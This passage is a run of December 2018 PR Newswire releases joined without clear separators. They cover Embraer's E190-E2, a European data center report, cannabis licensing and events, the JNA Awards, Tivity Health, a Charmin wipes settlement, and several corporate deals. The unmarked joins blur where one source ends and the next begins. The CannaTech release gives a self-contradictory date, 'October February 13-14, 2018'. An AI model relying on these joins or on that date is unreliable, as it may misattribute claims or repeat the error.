airline operates fleet of E190s aircraft, the first of which was delivered in 2011. The E190-E2 is the first of three new aircraft types that will make up the Embraer E2 family of aircraft developed to succeed the first-generation E-Jets. Compared to the first-generation E190, the E190-E2 burns 17.3% less fuel and nearly 10% less than its direct competitor. This makes it the most efficient single-aisle aircraft on the market. The E190-E2 brings more flexibility with maximum range of up to 3,293 miles (5,300 km), about 621 miles (1,000 km) more than the first-generation E190. The E190-E2 also generates significant savings for airlines in terms of maintenance costs, with a reduction of up to 25%. It has the longest maintenance intervals with 10,000 flight hours for basic checks and no calendar limit in typical E-Jets utilization. This means an additional 15 days of aircraft utilization over a period of ten years. Pilots of the first-generation E-Jets require only two-and-a-half days of training without the need for a full flight simulator in order to fly the E2, which decreases the training burden and saves both time and money for the airlines. The E2 cockpit features advanced Honeywell Primus Epic 2 integrated avionics. Combined with the closed-loop fly-by-wire controls, the systems work together to improve aircraft performance, decrease pilot workload and enhance flight safety. From the passenger's perspective, the E2 cabin features a comfortable two-by-two layout. The absence of a middle seat enables passengers to have an enjoyable flight experience with more legroom and additional luggage storage space. Embraer is the world's leading manufacturer of commercial jets with up to 150 seats. The Company has 100 customers from all over the world operating the ERJ and E-Jet families of aircraft. For the E-Jets program alone, Embraer has logged almost 1,800 orders and 1,400 deliveries, redefining the traditional concept of a regional aircraft. Today, E-Jets are flying in fleets of 70 customers in 50 countries. Follow us on Twitter: @Embraer PRESS OFFICES: Headquarters (Brazil) Corporate Communications [email protected] Cell: +55 12 98152 4845 Tel.: +55 11 3841 6085 North America Alyssa Ten Eyck [email protected] Cell: +1 954 383 0460 Tel.: +1 954 359 3847 Europe, Middle East and Africa Guy Douglas [email protected] Cell: +31 (0)657120121 Tell: +31 (0)202158109 China Mirage Zhong [email protected] Cell: +86 185 1378 5180 Tel.: +86 10 6598 9988 Asia Pacific Nilma Missir-Boissac [email protected] Cell: +65 9012 8428 Tel.: +65 6305 9955 SOURCE Embraer S.A. DUBLIN, Dec. 19, 2018 /PRNewswire/ -- The "Data Center Market in Europe 2019-2023" report has been added to ResearchAndMarkets.com's offering. The data center market in Europe will register a CAGR of close to 11% by 2023. The growing adoption of SDDCs is expected drive growth in the data center market. The growing network traffic will result in mandatory installation of SDN, SDC, and SDS for colocation facilities. Thus, the increase in the number of SDDCs reduces the use of hardware and devices. One of the biggest drivers for the data center construction and colocation market in Europe is the release of General Data Protection Regulation (GDPR) act. Since the aim of this regulation is data protection, numerous banking financial services, and insurance firms will mitigate to an EU located cloud. Through Brexit, the UK will leave the EU, and as a result, the financial capital of Europe will not be a part of the EU, thereby having drastic impact across the regions. This will adversely affect the growth of the data center market in Europe. Key Players Colt Technology Services Digital Realty Trust Equinix Global Switch Interoute Communications (GTT Communications) Topics Covered PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT PART 03: MARKET LANDSCAPE PART 04: MARKET SIZING PART 05: FIVE FORCES ANALYSIS PART 06: CUSTOMER LANDSCAPE PART 07: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison Western Europe - Market size and forecast 2018-2023 - Market size and forecast 2018-2023 Rest of Europe - Market size and forecast 2018-2023 - Market size and forecast 2018-2023 Key leading countries Market opportunity PART 08: MARKET SEGMENTATION BY COMPONENTS Market segmentation by components Comparison by components IT infrastructure - Market size and forecast 2018-2023 General construction - Market size and forecast 2018-2023 Power management - Market size and forecast 2018-2023 Cooling solutions - Market size and forecast 2018-2023 Others - Market size and forecast 2018-2023 Market opportunity by components PART 09: DRIVERS AND CHALLENGES PART 10: MARKET TRENDS Innovative approaches like submarine data centers Growing investments in hyperscale data centers by colocation providers Growing adoption for SDDCs PART 11: VENDOR LANDSCAPE Overview Landscape disruption PART 12: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Colt Technology Services Digital Realty Trust Equinix Global Switch Interoute Communications (GTT Communications) For more information about this report visit https://www.researchandmarkets.com/research/9kcc7j/european_data?w=5 Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com Harvest Gains Ability to Open More Retail Stores than any Other Company in the State of Pennsylvania PHOENIX, Dec. 19, 2018 /PRNewswire/ -- Harvest Health & Recreation, Inc. (Harvest), a vertically integrated public cannabis company with one of the largest footprints in the United States and now listed publicly on the CSE in Canada (CSE:HARV), today added to its existing retail license award in Pennsylvania by winning every license it applied for giving Harvest the ability to open more retail stores than any other company. Each license permits the recipient to open up to three retail stores. Harvest was chosen because it received the highest scores on all but one of its regional applications (where it placed 2nd overall) based on its responses to the criteria developed by the Pennsylvania Department of Health. The Department of Health issued a total of 23 dispensary permits for Phase II of the medical marijuana program. Harvest will now have six months to become operational before it begins dispensing medical cannabis. With these latest wins, Harvest and its subsidiaries now have a significant footprint in 12 states across the US. Harvest was previously granted a retail license for Pennsylvania's Southeast region in June of 2017, which includes its first store in Redding and two upcoming stores in the Philadelphia metropolitan area. "As is true elsewhere, we are now ahead of schedule in the state of Pennsylvania, as we work to build the largest retail footprint in cannabis," said Steve White, founder and CEO of Harvest. "Pennsylvania, as a cannabis market, has exceeded our expectations. And Harvest is excited and proud to have been awarded these important licenses, allowing us to bring our leading products, storefronts, experience and approach to citizens throughout the state. Our real estate teams have already been deployed throughout Pennsylvania and will identify the best retail locations for our new stores. Pennsylvania is quickly becoming one of the most important states for our long-term plans." Founded in 2011, Harvest has the largest footprint in its home state of Arizona the third largest medical cannabis market in the U.S. and one of the oldest regulated cannabis markets in the world. With a truly comprehensive vertically integrated model, Harvest comprises industry-leading cultivation, manufacturing, retail facilities, construction, real estate, technological capabilities backed by an award-winning team of experts with a proven track record in writing and winning state-based cannabis licensing applications. An international leader in the cannabis industry, Harvest holds itself to the most stringent health, safety and quality standards in the industry when it comes to the growth, production and sale of cannabis medicines and products for consumers. Since Harvest was founded in 2011, the company has donated more than $500,000 to veterans, seniors, children, patients-in-need and other charitable recipients. About Harvest Health & Recreation, Inc.: Harvest Health & Recreation Inc. is one of the first consistently profitable, vertically integrated cannabis companies with one of the largest footprints in the U.S. Harvest's complete vertical solution includes industry-leading cultivation, manufacturing, and retail facilities, construction, real estate, technology and operational expertise leveraging in-house legal, HR and marketing teams, along with proven experts in writing and winning state-based applications. The company has 425 employees with proven experience, expertise and knowledge of in-house best practices that are drawn upon whenever Harvest enters new markets. Harvest's executive team is comprised of leaders in finance, compliance, real estate and operations. Since its founding in 2011, Harvest has grown its footprint every year and now has licenses in 12 states, with planned expansion into additional states by 2020. Harvest shares timely updates and releases as part of its regular course of business with the media and the interested public. For more information, visit: https://www.harvestinc.com/. Forward-looking Statements This press release contains statements which constitute "forward-looking information" within the meaning of applicable securities laws, including statements regarding the plans, intentions, beliefs and current expectations of Harvest with respect to future business activities. Forward-looking information is often identified by the words "may," "would," "could," "should," "will," "intend," "plan," "anticipate," "believe," "estimate," "expect" or similar expressions and include information regarding: (i) expectations regarding the size of the U.S. cannabis market, (ii) the ability of the Company to successfully achieve its business objectives, (iii) plans for expansion of Harvest, and (iv) expectations for other economic, business, and/or competitive factors. Investors are cautioned that forward-looking information is not based on historical facts but instead reflects Harvest management's expectations, estimates or projections concerning future results or events based on the opinions, assumptions and estimates of management considered reasonable at the date the statements are made. Although Harvest believes that the expectations reflected in such forward-looking information are reasonable, such information involves risks and uncertainties, and undue reliance should not be placed on such information, as unknown or unpredictable factors could have material adverse effects on future results, performance or achievements of the combined Company. Among the key factors that could cause actual results to differ materially from those projected in the forward-looking information are the following: the potential impact of an announcement of a going public transaction on relationships, including with regulatory bodies, employees, suppliers, customers and competitors; changes in general economic, business and political conditions, including changes in the financial markets; and in particular in the ability of the Company to raise debt and equity capital in the amounts and at the costs that it expects; adverse changes in the public perception of cannabis; decreases in the prevailing prices for cannabis and cannabis products in the markets that the Company operates in; adverse changes in applicable laws; or adverse changes in the application or enforcement of current laws, including those related to taxation; the inability to locate and acquire suitable companies, properties and assets necessary to execute on the Company's business plans; and increasing costs of compliance with extensive government regulation. This forward-looking information may be affected by risks and uncertainties in the business of Harvest and market conditions. Should one or more of these risks or uncertainties materialize, or should assumptions underlying the forward-looking information prove incorrect, actual results may vary materially from those described herein as intended, planned, anticipated, believed, estimated or expected. Although Harvest has attempted to identify important risks, uncertainties and factors which could cause actual results to differ materially, there may be others that cause results not to be as anticipated, estimated or intended. Harvest does not intend, and does not assume any obligation, to update this forward-looking information except as otherwise required by applicable law. Media Contact: Alex Howe, Powerplant Global Strategies 202-271-7997 [email protected] SOURCE Harvest Health & Recreation Related Links http://www.harvestinc.com Together with her team, Letitia Chow, Chairperson of the JNA Awards, Founder of JNA and Director of Business Development -- Jewellery Group at UBM Asia, kicked off the event by giving an overview of the Awards to the attendees including how to join the Awards, the benefits of participation, judging panel members and judging process, among others. "It is our great honour to receive steadfast support from SDE and CSGJE to help promote the core values of the JNA Awards to more Chinese jewellery and gemstones enterprises. This would lead to the upgrading of the standard of the trade in China to achieve sustainable development. We look forward to having more quality Chinese companies take part in the JNA Awards, and to demonstrate and share their excellent achievements and innovative ideas to the global trade via this platform, and contribute to the advancement and progress of the global jewellery and gemstone industry," she said. Lin Qiang, a member of the JNA Awards judging panel and the President and Managing Director of SDE gave tips to the attendees on matters that require utmost attention when preparing the entries. Representatives from two previous Recipients of the JNA Awards, Wang Zhou, CEO of Shenzhen Sunfeel Co Ltd. and Xu Xiao, Co-founder of Zbird, were also present to share their experiences and insights on entering the Awards. More than 70 representatives from leading jewellers from all over China -- from Beijing, Shanghai, Shenzhen, Liaoning, Jiangsu, Anhui, Zhejiang and Guangdong -- also attended the meeting. Organised by UBM Asia, the JNA Awards will be on its eighth edition in 2019. The JNA Awards is one of the most coveted awards programmes in the international jewellery and gemstone industry. The JNA Awards champions innovation, excellence and best business practices by recognising and celebrating the achievements of companies of different expertise and sizes within the community. In retrospect, there was only one Honouree from China in the inaugural edition of the JNA Awards when it was launched in 2012. Since then, the number of participating Chinese jewellery companies have grown through the years. "The quality of the entrants from China has also been on the rise. Therefore, it is an excellent opportunity to enhance promotion of the Awards to the trade leaders in China now," Lin added. SDE has been a partner of the JNA Awards since it was first organised, and has moved up to become a Headline Partner since 2017. CSGJE comes on board as an Honoured Partner of the JNA Awards for the first time in 2019. JNA Awards 2019 is supported by Headline Partners Chow Tai Fook (CTF), the Shanghai Diamond Exchange (SDE), and the Bahrain Institute for Pearls and Gemstones (DANAT), together with Honoured Partners KGK Group, Shanghai Gems and Jade Exchange, and Guangdong Land Holdings Limited (GDLAND). For more information, visit http://www.JNAawards.com/ or contact: JNA Awards Marketing UBM Asia (Hong Kong) +852 2516-2184 [email protected] Notes for Editors: 1. About the Headline Partner 1.1 Chow Tai Fook Jewellery Group Limited (www.chowtaifook.com) Chow Tai Fook Jewellery Group Limited (the "Group"; SEHK stock code: 1929) was listed on the Main Board of The Stock Exchange of Hong Kong in December 2011. Founded in 1929, the Group's iconic brand "Chow Tai Fook" has been widely recognised for its trustworthiness and authenticity, and is renowned for its product design, quality and value. The success of the Group and its iconic brand is rooted in innovation, craftsmanship and heritage. The Group also holds other jewellery brands including CHOW TAI FOOK T MARK, Hearts On Fire, MONOLOGUE and SOINLOVE, which are the first examples of a long term multi-brand strategy rollout. The Group's commitment to sustainable growth is anchored in its "Smart+" strategy, which is in place to promote long term innovation in the business, in people and in culture. Another asset underpinning sustainable growth is a sophisticated vertically integrated business model. This supports the Group by fostering excellence and extending opportunities along the entire value chain to communities and industry partners. With an extensive retail network in Greater China, Korea, Japan, Singapore, Malaysia and the United States, and a fast-growing e-commerce business, the Group is implementing effective online-to-offline ("O2O") strategies to succeed in today's omni-channel retail environment. 1.2 Bahrain Institute for Pearls and Gemstones -- DANAT (www.danat.bh) The Bahrain Institute for Pearls and Gemstones (DANAT) was established in 2017, as an initiative of HRH Prince Salman bin Hamad bin Isa Al Khalifa, Crown Prince, Deputy Supreme Commander and First Deputy Prime Minister of the Kingdom of Bahrain. DANAT was formed as a wholly owned subsidiary of the Bahrain Mumtalakat Holding Company (Mumtalakat), the sovereign wealth fund of the Kingdom. DANAT evolved from the Pearl & Gem Testing Laboratory of Bahrain (the first laboratory of its kind in the region), which was established in 1990. It was formed to expand upon and enhance the excellent work of the laboratory, with the vision of becoming the world's preferred institute for natural pearl and gemstone third-party verification services and scientific research. Currently, DANAT plays a vital role in protecting and enhancing the public's trust in pearls, gemstones and jewellery. With its offices located at the iconic Bahrain World Trade Centre, the facility aims to establish itself as the window into international markets, serving local and global clients, and bolstering the reputation of the Kingdom as a leading centre for pearl and gemstone expertise. DANAT is an authority on industry standards, scientific knowledge and education, and is committed to the highest standards of professional and personal ethics. It is dedicated to supporting the pearl and gemstone industry and offers training programmes locally, regionally and internationally to a new generation of gemmologists, industry professionals and gemmology enthusiasts. 1.3 Shanghai Diamond Exchange (www.cnsde.com) Authorised by the State Council, the Shanghai Diamond Exchange (SDE) is the only diamond exchange body in China; and provides diamond dealers a fair and safe transaction venue under close supervision. It also enjoys a favourable taxation policy and is operated in accordance with international best practices of the diamond industry. Established in 2000, the SDE is a non-profit, self-regulating membership organisation and a member of the World Federation of Diamond Bourses. 2. About the Honoured Partners 2.1 KGK Group (www.kgkgroup.com) The KGK Group was founded in 1905 by Kesrimal Kothari and Ghisilal Kothari of Jaipur (India), to trade gemstones between India and Burma. With a global presence across 19 countries today, the privately held group has evolved into one of the most preferred brands in the gemstone and jewellery industry, with a vertically integrated operation. KGK is one of the few conglomerates covering the entire spectrum of mining, sourcing, manufacturing and distribution of coloured gemstones, diamonds and jewellery for over a century. KGK Group has a resilient team of 12,000 employees with operations and offices in Asia, Australia, North and South America, Europe and Africa. Having achieved an impeccable reputation in the gemstone, diamond and jewellery trade, the group has recently diversified into real estate. 2.2 Shanghai Gems & Jade Exchange introduction (www.csgje.com) Shanghai Gems & Jade Exchange was established in 2014 with the approval of Shanghai Municipal Government. Shanghai Gems & Jade aims to grow its influence in international sphere by adhering to primary principles of fairness, impartiality and openness; and advocating innovation, advancement and compliance within the trade. Since its inception, it has worked towards its goal and has carried out cross-border trade cooperation with major gemstone origin countries around the world. Shanghai Gems & Jade Exchange aims to build a professional integrated trading platform by providing high-quality services that include bonded warehousing, trade logistics, exhibition and sales and other supporting services to jewellery enterprises and businesses both locally and globally. Shanghai Gems & Jade Exchange also works to foster cooperation between global minerals and processing enterprises, designers and creatives of the jewellery industry. Furthermore, the organisation aims to provide convenient and efficient one-stop service for international gemstone products to enter the Chinese market. It also collaborates with different parties to create a fair and open international gemstone trading environment. 2.3 Guangdong Land Holdings Limited (www.gdland.com.hk) Guangdong Land Holdings Limited (GDLAND), with its headquarters in Hong Kong, is listed on The Stock Exchange of Hong Kong Limited, and is a subsidiary of GDH Limited -- Guangdong Province's largest conglomerate operating outside Mainland China. GDLAND primarily engages in property development and investment, and in business that include (but are not limited to) the development and operational management of innovative commercial real estate, urban complex and industrial business complex. As the strategic arm of GDH Limited, GDLAND engages in the business development of commercial real estate, as well as urban and industrial complex projects. Its flagship "Buxin Project" is forecast to become the biggest and most advanced jewellery mart in the world. With a lot size of over 87,000 sq.m. and a floor area projected to exceed 700,000 sq.m., the Buxin Project will include a large-scale jewellery trading and exhibition centre along with other facilities. Located in the Buxin area of Luohu district in Central Shenzhen, and close to the Shuibei Gold and Jewellery Base, this prime piece of property is expected to turn the area into one of the most influential gold and jewellery trading and exchange platforms, not just in China, but in the world. 3. About UBM Asia (www.ubmasia.com) UBM Asia recently became part of Informa PLC, a leading B2B information services group and the largest B2B Events organiser in the world. Please visit www.ubm.com/asia for more information about our presence in Asia. SOURCE JNA Awards Related Links http://www.jnaawards.com NASHVILLE, Tenn., Dec. 20, 2018 /PRNewswire/ -- A comprehensive report released today by Tivity Health highlights key action areas for addressing a public health crisis facing older adults: social isolation and loneliness. The report outlines takeaways from the second annual Connectivity Summit on Rural Aging, which was convened earlier this year by Tivity Health and centered on the impacts of social isolation for older adults, particularly those living in rural areas. The summary document was authored in partnership with Grantmakers In Aging, a membership organization of philanthropies with a common dedication to improving the experience of aging. The report emphasizes the need for collaboration between the public and private sectors to create actionable solutions to address social isolation and loneliness. Additionally, the report identified a need for public policy changes, such as reforming health care delivery and payments systems, building on existing resources and infrastructure, and elevating the issue of social isolation and loneliness to the national level. "Our priority is to develop an actionable agenda for policymakers and the public around social isolation and loneliness and its impact on older adults, particularly those living in rural areas. The idea behind this Summit was to create a movement that would drive change through new ideas while building on existing resources and infrastructure," said Donato Tramuto, CEO of Tivity Health. "This year's Summit and resulting actions acknowledge social connection as a key social determinant of health and will catalyze change at the national and state levels for those aging in rural communities across this country." Loneliness and social isolation affect as many as 43% of older adults.1 Social isolation is equivalent to the health risks of smoking 15 cigarettes per day, reducing a lifespan by eight years.2 Moreover, other social determinants of health factors including access to a grocery store, housing supply, access to public transportation, or employment opportunities can have an even more pronounced impact on the health and wellness of those living in a rural community. At the Summit, Tivity Health also presented the results from a nationwide poll of seniors living in rural communities. The polling revealed that rural seniors resoundingly want public officials and business community leaders to work together to address this growing public health epidemic. "Public-private collaboration is essential in creating the responses we need to alleviate social isolation, particularly across rural America, and philanthropy can play an important role in making those connections," says John Feather, PhD, CEO of Grantmakers In Aging and a member of the Rural Aging Advisory Council. "Engaging philanthropies of all kinds and sizes, particularly community and local foundations, ensures that programs will be solidly grounded in the needs and the strengths of each individual community and will be sustainable over time." This year's Connectivity Summit on Rural Aging, held in August in Portland, Maine, was hosted by Tivity Health in partnership with Health eVillages, the MIT AgeLab, and the Jefferson College of Population Health. The event drew more than 150 national leaders from academia, government, business, and non-profit organizations. With a growing senior population in the United States, the health ramifications associated with social isolation and loneliness will continue to mount. Next year's third annual Connectivity Summit will dive even deeper into the issue, analyze progress made throughout the year, and work to continue driving actionable change. About Tivity Health Tivity Health, Inc. is a leading provider of fitness and health improvement programs, with strong capabilities in developing and managing network solutions. Through its existing three networks, SilverSneakers the nation's leading community fitness program for older adults, Prime Fitness and WholeHealth Living, Tivity Health is focused on targeted population health for those 50 and over. With more than 15 million Americans eligible for SilverSneakers, over 10,000 fitness centers in the Prime Fitness Network, and more than 25 years of clinical and operational expertise in managing specialty health benefits and networks, including chiropractic services, physical therapy, occupational therapy, speech therapy, acupuncture, massage and complementary and alternative medicine (CAM) services, the Company touches millions of consumers across the country and works directly with hundreds of healthcare practitioners and many of the nation's largest payers and employers. In 2017, Tivity Health launched a rural aging initiative to address challenges unique to older adults in rural communities. Learn more at TivityHealth.com or SilverSneakers.com. 1 Perissinotto C. M., Cenzer I. S., Covinsky K. E. (2012). Loneliness in older persons. Archives of Internal Medicine, 172, 1078-1084. doi:10.1001/archinternmed.2012.1993. 2 Holt-Lunstad J, Smith TB, Baker M, Harris T, Stephenson D. Loneliness and social isolation as risk factors for mortality: a meta-analytic review. Perspect Psychol Sci. 2015;10(2):227-37. SOURCE Tivity Health Related Links http://www.tivityhealth.com/ TEL AVIV, Israel, December 19, 2018 /PRNewswire/ -- As the global medical cannabis market continues to expand exponentially and increasing numbers of countries around the globe legalize its use, including in Latin America, Panama's first ever Medical Cannabis Summit will take place in Panama City, October February 13-14, 2018 at the Central Hotel in Casco Viejo, the capital's unique Old Quarter which is UNESCO World Heritage Site. CannaTech Panama will bring together industry leaders from Latin America and around the world known for their significant and ground-breaking contributions to the global medical cannabis market in all fields. The Summit will cover the most current industry topics including Agricultural Tech and Innovation, Business and Finance, Policy and Regulation, Science and Medicine. Click here for a preliminary list of CannaTech Panama speakers. "Latin America is a key and growing player in the exploding cannabis field. Medical cannabis is legal in 9 Latin American countries and that list is fast growing. According to the research consultancy Prohibition Partners, it's estimated that the region's cannabis market will be worth $12.7 billion in 2028 while the medical cannabis market is forecast to be worth $8.5 billion within the decade. We are thrilled to bring some of the world's leading companies and investors to Panama to meet with their counterparts to discuss a range of business and technological issues. I could not be prouder to bring CannaTech to Panama and work with like minded professionals who understand the immense global health and business potential of medical cannabis moving forward," said Saul Kaye, Founder and CEO of iCAN:Israel-Cannabis. About CannaTech CannTech is the only Medical Cannabis event of its kind with a global focus that offers senior industry leaders, medical and scientific experts, and new ventures the platform to come together, drive innovation, form partnerships and promote knowledge exchange. About iCAN: Israel-Cannabis iCAN: Israel-Cannabis is a leading Israeli developer of cannabis-based formulations, clinical trials and cannabis testing. iCAN is committed to accelerate Israel's Canna-Technology industry, capitalizing on Israeli innovation and a leading cannabis regulatory environment to bring premier products to market. iCAN is powered by CannaTech, the premier international cannabis summit held annually in Tel Aviv, London, Sydney and now Panama. For further information, media inquiries and journalist registration contact: Laura Kam, [email protected], +972-54-806-8613. SOURCE CannaTech SAN FRANCISCO, Dec. 20, 2018 /PRNewswire/ -- The following statement is being issued by Gutride Safier LLP regarding the Charmin Freshmates Class Action Settlement. WHO IS AFFECTED A class action settlement has been reached involving Charmin Freshmates Flushable Wipes and any other pre-moistened wipes sold under the Charmin brand name bearing the word "flushable" on the package label ("Wipes"). The lawsuits claim that the Wipes are not actually flushable. The Procter & Gamble Company ("P&G") denies these allegations and maintains that the Wipes perform as advertised. You may be an eligible class member if you purchased the Wipes anywhere in the United States, except in the State of New York, between April 6, 2011 and November 26, 2018. WHAT DOES THE SETTLEMENT PROVIDE? In connection with this settlement, P&G will include additional information on the labeling of the Wipes and agreed to stricter industry-standard testing protocols. P&G will also provide a sixty cent ($0.60) per-package refund, up to $4.20 household maximum, to class members without proof of purchase. A $30.00 household maximum will be paid for claims submitted with a proof of purchase. Proof of purchase means an itemized sales receipt originally generated by a retail seller showing the date and place of purchase, name of the product purchased, and the amount paid. Proof of purchase can be provided in the form of a photocopy or digital image file (e.g., PDF, JPG, TIF). WHAT ARE MY OPTIONS? You must submit a claim online by February 28, 2019 or by mail so that it is received (not merely postmarked) no later than February 28, 2019 to receive a payment. You can opt out of the class by February 28, 2019 and keep your right to bring your own case against P&G on the released claims. The settlement will release all claims related to Plaintiffs' contentions that P&G's marketing, advertising, and sale of the Wipes with the representations "flushable," "septic safe," and "safe for sewer and septic systems" were false or misleading. There is no release of claims for personal injury or property damage allegedly caused by use of the Wipes. You can also object to the settlement by February 28, 2019. For details on how to opt out, object, or to file a claim, please visit www.PettitWipeSettlement.com or contact the Claim Administrator. If you do nothing , you will not receive a payment and you will be bound by the decisions of the Court. COURT HEARING AND ATTORNEYS' FEES The Court will hold a hearing on March 28, 2019 at 1:30 p.m. to consider whether to approve the settlement. This date and time may change; visit www.PettitWipeSettlement.com for updated information. If the settlement is approved, the attorneys for the class will ask the Court for an award from P&G of up to $2,150,000 in fees, costs, and expenses, and class representative payments of $1,000 to $5,000 for each of the named plaintiffs. Note that the hearing date may change without further notice to you. You may attend the hearing, but you do not have to. Plaintiffs' Motion for Attorneys' Fees and Costs will be posted on the website after it is filed. MORE INFORMATION This is only a Summary. For more information, please visit: www.PettitWipeSettlement.com , or contact the Claim Administrator by calling 1-833-305-3913 or by writing to Pettit v. Procter & Gamble, c/o Claim Administrator, PO Box 58280, Philadelphia, PA 19102-8280. You may also contact Plaintiffs' counsel, Gutride Safier LLP, 100 Pine Street, Suite 1250, San Francisco, CA 94111. The case name is Pettit et al. v. Procter & Gamble Company, U.S. District Court for the Northern District of California, Case No. 3:15-cv-02150-RS. SOURCE Gutride Safier LLP NAIROBI, Kenya, Dec. 20, 2018 /PRNewswire/ -- Artcaffe Coffee and Bakery Limited (Artcaffe), an industry-leading restaurant group operating in Kenya, sold a majority stake to Africa-focused private equity firm, ECP, for an undisclosed amount. The transaction will provide expansion capital required for the business to implement strategic expansion opportunities. The company's skilled management team will stay on board after the investment and will continue to grow the restaurant group to be a leading chain of restaurants in sub-Saharan Africa. The noteworthy transaction highlights the upward trajectory of the food & beverage and hospitality sectors in the region. Artcaffe was advised exclusively on the transaction by StratLink, a Nairobi based financial advisory firm. About Artcaffe Artcaffe Coffee and Bakery Limited is a restaurant group consisting of multiple brand concepts throughout Kenya. The individual brands comprising the group are: Artcaffe Coffee and Bakery, Dormans Coffee shops, Ohcha Noodle Bar, Urban Burger Bar, and Tapas Ceviche Bar. The group has been operating for 10 years within the casual dining and quick-serve restaurant space in Nairobi, and currently operates 26 different restaurants in the city across its 5 distinctive brands. The Artcaffe group aims to deliver world class service and significant value for cost in their products at its design-oriented environments. Fueled by the desire to offer best-in-class service, the Artcaffe group has propelled itself to be a market leader, setting industry standards in Nairobi. The Artcaffe group looks forward to continuing to excel industry standards in the region's restaurant sector through its commitment to excellence and professionalism. About StratLink Africa StratLink is an emerging markets focused advisory company which is focused on the potential of sub-Saharan Africa and South East Asia. The company partners with clients to execute their vision by providing quality services and access to capital. StratLink identifies opportunities in the region and provides a vital linkage between investors and budding opportunities in emerging markets. For more information on StratLink please visit: www.stratlinkglobal.com. Media contact: Konstantin Makarov +254202572793 SOURCE StratLink Related Links http://www.stratlinkglobal.com HONOLULU, Dec. 20, 2018 /PRNewswire/ -- Alexander & Baldwin (A&B) (NYSE: ALEX) today announced an agreement that will launch a new era of agriculture on Maui. The agreement provides for the sale of the former Hawaiian Commercial & Sugar Company lands to Mahi Pono LLC (Mahi Pono) for purposes of cultivating a variety of food and energy crops, ensuring the continued agricultural use of these lands, the preservation of green, open space in Central Maui, and a consistent and long-term source of revenue for the local economy. Mahi Pono is a farming venture between Pomona Farming, LLC, a California-based agricultural group, and the Public Sector Pension Investment Board (PSP Investments), a long-term investor and one of Canada's largest pension investment managers. The Mahi Pono team has significant experience cultivating diverse agricultural crops and managing cattle operations on more than 100,000 acres, with a focus purely on agriculture and a track record of making long-term investments in farming projects. All of A&B's existing agricultural personnel will be offered positions with Mahi Pono, to put their experience and knowledge to use to help further Mahi Pono's farm plan. Mahi Pono's farm plan currently envisions cultivating a broad range of food crops for local consumption and export, including coffee, various fruit and vegetable crops and an expansion of A&B's grass-fed cattle project at Kulolio Ranch, which Mahi Pono purchased as part of this transaction. Mahi Pono also purchased Central Maui Feedstocks, A&B's energy crop project, and assumed all diversified agriculture leases previously entered into by A&B. Under the terms of the agreement, Mahi Pono purchased approximately 41,000 acres of agricultural farm land from A&B, along with the above mentioned companies. The $262 million transaction closed today. A&B and Mahi Pono also will partner in the ownership and management of East Maui Irrigation Company. A&B started growing sugar on these lands nearly 150 years ago and ceased sugar operations in 2016. "A&B's commitment, when we made the difficult decision to close our sugar operations, was to team up with qualified farmers and transition these lands to a diversified agriculture model. We acknowledged that this transition would take time, but could support the important goals of food and energy self-sufficiency for Hawaii, preserve productive agricultural lands, and stimulate new economic activity on Maui and in the state," said Chris Benjamin, A&B President and CEO. Over the past two years, A&B has held discussions with hundreds of parties interested in farming, with most aiming to cultivate a single crop on portions of the former plantation. "In Mahi Pono, we have found a unique partner with proven farming expertise, established marketing channels, strong financial resources, and a long-term perspective. Most importantly, they share our vision of seeing farming flourish across Central Maui for generations to come," added Benjamin. "This could be one of the most important advances for agriculture in Hawaii in many decades." "While it is difficult to part with our legacy lands, we believe the most important thing is that they remain in active agricultureto help feed our local communities, support our local farmers, and provide new economic activity and jobs for Maui and the state," Benjamin said. "Mahi Pono's team has the expertise and capital necessary to make diversified agriculture a reality in Central Maui, but can justify the significant investment in infrastructure, equipment and staffing only if it owns the underlying lands. We considered many alternatives and believe this is the best path forward toward keeping these lands in agriculture and sustaining farming on Maui once again." "Maui will always be A&B's home, our roots, and we still have a considerable amount of land and assets on this island. A&B remains committed to Maui and will continue to be an active part of this community," concluded Benjamin. "This transition represents a unique opportunity to advance diversified agriculture and increase local food production in Hawaii," said Hawaii Governor David Ige. "With Alexander & Baldwin's long tradition of stewardship and Mahi Pono's investment, which is needed to cultivate new crops and preserve the environment, this partnership will ensure Central Maui stays green for the long term." "While many things have changed on Maui over the course of the past century, the majority of our residents want to retain the open space and rural character of Maui, and wish to see agriculture re-established on the former sugar lands in Central Maui," said Maui Mayor Alan Arakawa. "It is important that we increase food security on Maui and in Hawaii, and having a farmer with a proven track record pursue diversified food crops here on Maui is definitely a step in the right direction." Arakawa continued, "As a farmer myself, I understand the challenges of the business. Alexander & Baldwin has found the right partner in Mahi Pono to continue our island's long legacy of farming, while providing new jobs and economic activity for our Maui residents." About Alexander & Baldwin, Inc. Alexander & Baldwin, Inc. is Hawai'i's premier commercial real estate company and the state's foremost owner of grocery-anchored retail centers. A&B is a fully integrated real estate investment trust and owns, operates and manages 3.4 million square feet of primarily retail and industrial space in Hawai'i, and remains a major private landowner in the state. A&B's interests extend beyond commercial real estate into renewable energy and land stewardship. A&B is Hawai'i's largest construction materials company and paving contractor. Over its nearly 150-year history, A&B has evolved with the state's economy and played a lead role in the development of the agricultural, transportation, tourism, construction and real estate industries. Learn more about A&B at www.alexanderbaldwin.com. Contact: Darren Pai; 808-525-6659; [email protected] SOURCE Alexander & Baldwin Related Links http://www.alexanderbaldwin.com SEGUIN, Texas, Dec. 19, 2018 /PRNewswire/ -- Alamo Group Inc. (NYSE: ALG) announced today that its Board of Directors has approved an increase in the Company's quarterly dividend, raising it to $0.12 per share from $0.11 per share. Payment will be made on January 29, 2019 to shareholders of record at the close of business on January 17, 2019. The Company also announced that its Board has approved a share repurchase program under which the Company is authorized to repurchase in the aggregate up to $30 million of its outstanding common stock. "Today's announcement reflects our continued confidence in Alamo Group's future and our commitment to improving overall shareholder value," said Ron Robinson, Alamo Group's President and Chief Executive Officer. "The share repurchase program is intended to enhance shareholder returns by mitigating the dilution effects associated with the issuance of Alamo Group stock under our equity incentive plans." Under the share repurchase program, which has a five (5) year term, the Company may repurchase shares from time to time on the open market or through privately negotiated transactions. The extent to which the Company repurchases shares and the timing of any such purchases will depend upon market conditions and other 